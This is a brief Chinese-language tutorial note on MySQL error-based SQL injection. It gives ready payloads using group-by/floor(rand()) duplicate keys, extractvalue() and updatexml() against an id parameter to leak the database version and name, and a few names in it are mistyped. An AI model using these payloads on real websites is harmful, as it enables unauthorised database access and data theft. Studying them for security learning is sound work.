报错注入
在注入点判断过程中,发现数据库中SQL语句的报错信息会显示在页面中,因此可以进行报错注入。
原理:在错误信息中执行SQL语句,触发报错方式有很多,原理也不尽相同,建议直接背公式。
- group by重复键冲突
[?id=33 and(select 1 from(select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.table group by x)a)-- +]
Ps: group by是MYSQL的一个语句,它实际上的意思是分类聚合
这时会发现报错注入成功的拿到了想要的信息,接下来把version()替换成database()出现
由此可见报错存在一定几率和概率注入失败
group by 其实是mysql的一个bug,编号为#8652,当使用rand()分组聚合的时候,会产生重复键的错误。
参考连接:MySQL Bugs
2.XPATH报错
@ extractalue()
[?id=33 and extractvalue(1,concat(‘^’,(select version()),‘^’))-- +]
@ updatexml()
[?id=33 and updatexml(1,concat(‘^’,(select database()),’^’),1)-- +]
Ps:这个是基于函数报错来进行注入,如果版本没有该函数,就用group by 来进行注入,mysql数据库中5.0以下版本是不具有这个函数的